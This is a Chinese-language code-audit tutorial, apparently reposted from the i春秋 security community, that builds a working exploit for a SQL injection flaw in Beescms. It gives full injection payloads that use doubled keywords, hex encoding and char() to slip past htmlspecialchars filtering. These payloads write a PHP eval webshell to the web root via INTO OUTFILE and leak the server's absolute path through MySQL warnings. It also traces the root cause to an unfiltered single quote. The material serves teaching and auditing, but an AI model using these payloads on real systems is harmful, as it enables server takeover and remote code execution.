代码审计对Beescms SQL注入漏洞的进一步思考

Posted i春秋

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计对Beescms SQL注入漏洞的进一步思考相关的知识,希望对你有一定的参考价值。

i春秋社区

文章难易度【★★★★】

文章知识点: php代码审计、mysql注入


本文承接上一篇:

在上一篇中,详细的介绍到了SQL注入产生的条件和原因,而对利用方法的思考还是有局限性,没有达到效果。另外对于单引号的引入问题还不是很明确。在这篇,我们继续对这一处SQL注入进行分析。

【代码审计】对Beescms SQL注入漏洞的进一步思考

下面请各位同学坐好~

开课啦~



0x01 Mysql注入的一个特性


上篇分析到,由于函数fl_html()的影响,其实就是php函数htmlspecialchars(),导致不能写shell到目标机器。其实这里利用Mysql注入的一个特性就可以达到注入的效果。即对shell部分进行Hex编码,或者用mysql函数char()就可以轻松绕过这里的限制。


方法一 hex编码


我们写入shell的语句是:


user=admin' uni union on selselectect null,null,null,null,<?php @eval($_POST[a]); ?> in into  outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20


对shell部分进行hex编码为,这里我们采用Python简单编码:


>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'


写入shell的payload为:


user=admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b615d293b203f3e in into  outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20


记得在编码转换的时候前面加0x或者直接用函数unhex亦可。


unhex(3c3f70687020406576616c28245f504f53545b615d293b203f3e)


然后通过Burpsuit修改数据包写入,如图所示:


【代码审计】对Beescms SQL注入漏洞的进一步思考


本地查看写入的文件如图:


【代码审计】对Beescms SQL注入漏洞的进一步思考


可以看到在爆出密码的同时写入了webshell,下面我们尝试用菜刀链接,成功拿到webshell:


【代码审计】对Beescms SQL注入漏洞的进一步思考


方法二 使用char函数


Mysql内置函数char()可以将里边的ascii码参数转换为字符串,同样是上面编写的webshell转换成ascii的形式,这里我们用Python实现快速转换:


>>> map(ord, "<?php @eval($_POST[a]); ?>")
[60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62]


然后我们的注入语句就可以写作:


user=admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62)  in into  outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20


同样我们看看执行后的结果是成功写入了webshell:


【代码审计】对Beescms SQL注入漏洞的进一步思考


本地加入的a.php文件内容:


【代码审计】对Beescms SQL注入漏洞的进一步思考


成功拿到webshell


【代码审计】对Beescms SQL注入漏洞的进一步思考


这里需要注意,有时候用char函数时,会出现乱码的情况,这个时候就需要将两种方式结合起来,采用下面的形式即可避免乱码出现:


unhex(char(60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62))


以上两种方式就可以成功绕过一些敏感字符过滤,从而正常写入webshell。


0x02 绝对路径问题


正如@zusheng 师傅在上篇的评论,前面的测试均是在本地测试的,有个问题就是本地文件绝对路径我们是知道的,但是远程情况下,我们不知道网站绝对路径。在这种情况下我们是不是就没有办法继续了?其实不然,足够细心的话你会发现前面有张图里边已经有绝对路径出现了,没错,就是Burpsuit执行注入语句那张图。那么我们就知道了,需要让mysql出现Warring就可以得到路径了。


【代码审计】对Beescms SQL注入漏洞的进一步思考


比如还是写shell的语句,不知道路径的情况下随便写一个不存在的路径也可以达到效果,如下图:


【代码审计】对Beescms SQL注入漏洞的进一步思考


方法很多,多多尝试总会有新发现的!


0x03 对单引号问题的思考


上篇中有评论到单引号的问题,就是说既然htmlspecialchars函数过滤掉了单引号,那么注入语句中的单引号是怎么引入的?

针对这个问题,我查阅了一些资料,也在本地测试此函数,得出了一个结果,就是在默认情况下,函数只解析双引号,如图:



那既然这样的话,代码中这样写的话htmlspecialchars(str),都存在单引号引入的问题。

我们看看Beescms里边的写法,定位到函数 fl_html : (位于/includes/fun.php下面)


function fl_html($str){
        return htmlspecialchars($str);
}


可以看到的确是这样写的,证明了单引号引入的问题。


0x04 总结


看似简单的审计过程,其实其中涵盖的知识点很多。像上面涉及到的PHP语法、Mysql、网站绝对路劲爆破以及利用Python来方便自己的工作等等,大多数都是要靠我们平时多积累。而且要懂得变通,就像在本篇中的mysql注入的利用技巧,单引号注入问题都很常见,但是如果我们了解不够深刻的话,还是很难成功地审计一款系统的。希望对你有所收获~

本文属i春秋原创奖励计划,未经许可禁止转载。

参与活动在i春秋社区发帖并注明参与奖励计划即可!


以上是关于代码审计对Beescms SQL注入漏洞的进一步思考的主要内容,如果未能解决你的问题,请参考以下文章

JAVA代码审计 SQL注入篇

代码审计-Beescms_V4.0

网站漏洞检测公司对wordpress sql注入漏洞代码审计与修复

[PHP代码审计]极致CMS1.9存在SQL注入漏洞

[PHP代码审计]极致CMS1.9存在SQL注入漏洞

PHP代码审计入门(SQL注入漏洞挖掘基础)